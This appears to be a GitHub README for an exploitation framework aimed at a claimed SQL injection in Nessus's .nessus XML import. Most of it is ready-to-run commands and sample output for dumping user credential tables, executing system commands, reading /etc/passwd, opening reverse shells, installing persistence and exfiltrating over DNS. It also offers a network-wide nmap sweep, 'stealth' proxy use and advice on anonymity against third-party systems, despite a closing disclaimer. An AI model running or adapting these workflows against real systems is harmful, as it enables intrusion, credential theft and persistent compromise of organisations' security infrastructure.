🛡️ CVE-2026-57588 - Nessus SQL Injection Exploitation Framework
📋 Table of Contents
🔍 Overview
CVE-2026-57588 is a critical SQL injection vulnerability discovered in Tenable Nessus versions 10.12.0 and prior. The vulnerability resides in the XML parsing mechanism when importing .nessus scan result files, allowing authenticated users with import privileges to execute arbitrary SQL queries against the backend PostgreSQL database.
⚠️ Vulnerability Details
🔬 Technical Details
The vulnerability exists due to insufficient sanitization of XML tag values before they are incorporated into SQL queries during the import process. A malicious actor can craft a .nessus file containing specially crafted SQL injection payloads in XML tags such as:
hostname
fqdn
os
system-type
mac-address
netbios-name
When a privileged user imports the malicious file, the unsanitized values are executed against the PostgreSQL backend, enabling:
- Database enumeration
- Data exfiltration
- Command execution
- File system access
- Persistence installation
✨ Features
Click to expand feature list
🎯 Payload Management
- 13+ payload types categorized by purpose
- Template-based payload generation
- Custom payload creation and validation
- Parameter validation and syntax checking
- SQL syntax verification
🚀 Exploitation Capabilities
- Multi-stage exploitation with parallel execution
- Database fingerprinting and enumeration
- Data exfiltration with custom table/column selection
- Command execution on target system
- File system access and reading
- Reverse shell with interactive session
- Persistence installation mechanisms
- Time-based blind SQL injection
- Boolean-based blind SQL injection
- Error-based SQL injection
- Stacked queries for advanced exploitation
- Out-of-band DNS exfiltration
📊 Reporting & Logging
- HTML reports with professional styling
- Markdown reports for documentation
- JSON reports for automation
- Text reports for quick review
- Log rotation with multiple levels
- Detailed execution statistics
- File hashing for integrity verification
🛠️ Advanced Features
📦 Installation
🐍 Prerequisites
- Python 3.7 or higher
- pip (Python package manager)
- Git (optional, for cloning)
🔧 Quick Installation
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
🐳 Docker Installation
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 Package Installation
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
🚀 Quick Start
Basic Usage
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
Command Help
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
💡 Usage Examples
1. Basic Enumeration
python3 exploit.py generate -u https://test.com -p enum
Expected Output
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
2. Advanced Multi-Stage Exploitation
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. Data Exfiltration
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. Reverse Shell
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. Command Execution
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. File Reading
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. Time-Based Blind Injection
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. With Proxy Support
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. Parallel Execution
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. Verbose and Quiet Modes
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 Payload Types
Category: FINGERPRINTING
| Payload | Description | Parameters |
|---|
fingerprint | Database fingerprinting | None |
Category: UNION
| Payload | Description | Parameters |
|---|
schema_dump | Dump database schema | None |
data_exfil | Extract table data | table, columns |
Category: TIMING
| Payload | Description | Parameters |
|---|
time_based | Time-based blind injection | delay |
boolean_blind | Boolean-based blind | condition, delay |
Category: FILE_ACCESS
| Payload | Description | Parameters |
|---|
file_read | Read system files | path, offset, length |
Category: COMMAND_EXEC
| Payload | Description | Parameters |
|---|
command_exec | Execute system commands | command |
Category: REVERSE_SHELL
| Payload | Description | Parameters |
|---|
reverse_shell | Establish reverse shell | host, port |
Category: PERSISTENCE
| Payload | Description | Parameters |
|---|
persistence | Install persistence | None |
Category: ERROR_BASED
| Payload | Description | Parameters |
|---|
error_based | Error-based injection | query |
Category: STACKED
| Payload | Description | Parameters |
|---|
stacked_queries | Stacked queries | query |
Category: OUT_OF_BAND
| Payload | Description | Parameters |
|---|
oob_dns | DNS exfiltration | host, data |
🎯 Advanced Scenarios
Scenario 1: Complete Compromise Workflow
# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v
# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist
# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
Scenario 2: Stealth Operations
# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
Scenario 3: Automated Testing Pipeline
#!/bin/bash
# auto_exploit.sh - Automated exploitation script
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# Run all payloads
for payload in enum dump shell persist; do
echo "[*] Running payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
Scenario 4: Enterprise Security Assessment
# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Testing: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
Scenario 5: Evidence Collection
# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 Reporting
Generate Reports
# Generate all report formats
python3 exploit.py report -i results.json -o report
# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html
# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown
Report Contents
- Target information
- Session ID and payload type
- Execution statistics
- Generated files list
- File hashes for integrity
- Error logs (if any)
- Disclaimers and warnings
🔧 Troubleshooting
Common Issues and Solutions
Issue 1: Connection Errors
# Error: Connection refused
# Solution: Check if Nessus is running and port is accessible
python3 exploit.py generate -u https://test.com:8834 -p enum
# Error: SSL certificate verification failed
# Solution: Disable SSL verification
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
Issue 2: XML Validation Errors
# Error: Invalid XML structure
# Solution: Disable XML validation
python3 exploit.py generate -u https://test.com -p enum --no-validate
Issue 3: Payload Errors
# Error: Missing required parameter
# Solution: Check payload requirements
python3 exploit.py validate -p command_exec
# Then provide required parameters
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
Issue 4: Permission Denied
# Error: Cannot write files
# Solution: Check directory permissions
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
Issue 5: Timeout Issues
# Error: Operation timed out
# Solution: Increase timeout
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Or use retries
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 Security Considerations
⚠️ Important Warnings
- Legal Compliance: Only use on systems you own or have explicit written permission to test
- Data Protection: Handle extracted credentials and data with extreme care
- Isolated Environment: Always test in isolated lab environments
- Backup: Always backup databases before testing
- Restoration: Restore systems to original state after testing
- Documentation: Document all testing activities for compliance
✅ Best Practices
- Use dedicated testing accounts
- Keep detailed logs of all actions
- Use VPN/proxy for anonymity when testing third-party systems
- Follow responsible disclosure guidelines
- Educate your team about the vulnerability
📝 License
This project is licensed under the MIT License - see the LICENSE file for details.
🤝 Contributing
Contributions are welcome! Please feel free to submit a Pull Request.
Development Setup
# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
pytest
# Format code
black exploit.py
# Check linting
flake8 exploit.py
📞 Support
Documentation
📄 Changelog
Version 1.0.0 (2026-07-22)
Initial Release
- ✅ Comprehensive exploitation framework
- ✅ 13 payload types categorized by purpose
- ✅ Multi-stage exploitation with parallel execution
- ✅ XML validation and schema checking
- ✅ Multiple report formats (HTML, Markdown, JSON, Text)
- ✅ Automatic file hashing and integrity verification
- ✅ Professional logging with rotation
- ✅ Proxy support for stealth operations
- ✅ Reverse shell with interactive session
- ✅ Persistence mechanisms
- ✅ Command execution and file reading
- ✅ Time-based and boolean-based blind injection
- ✅ Error-based and stacked query injection
- ✅ Out-of-band DNS exfiltration
- ✅ Docker support
- ✅ Cross-platform compatibility
⬆ Back to Top
⚠️ DISCLAIMER: This tool is for EDUCATIONAL and AUTHORIZED security testing ONLY. Unauthorized use is ILLEGAL. The author assumes NO LIABILITY for misuse.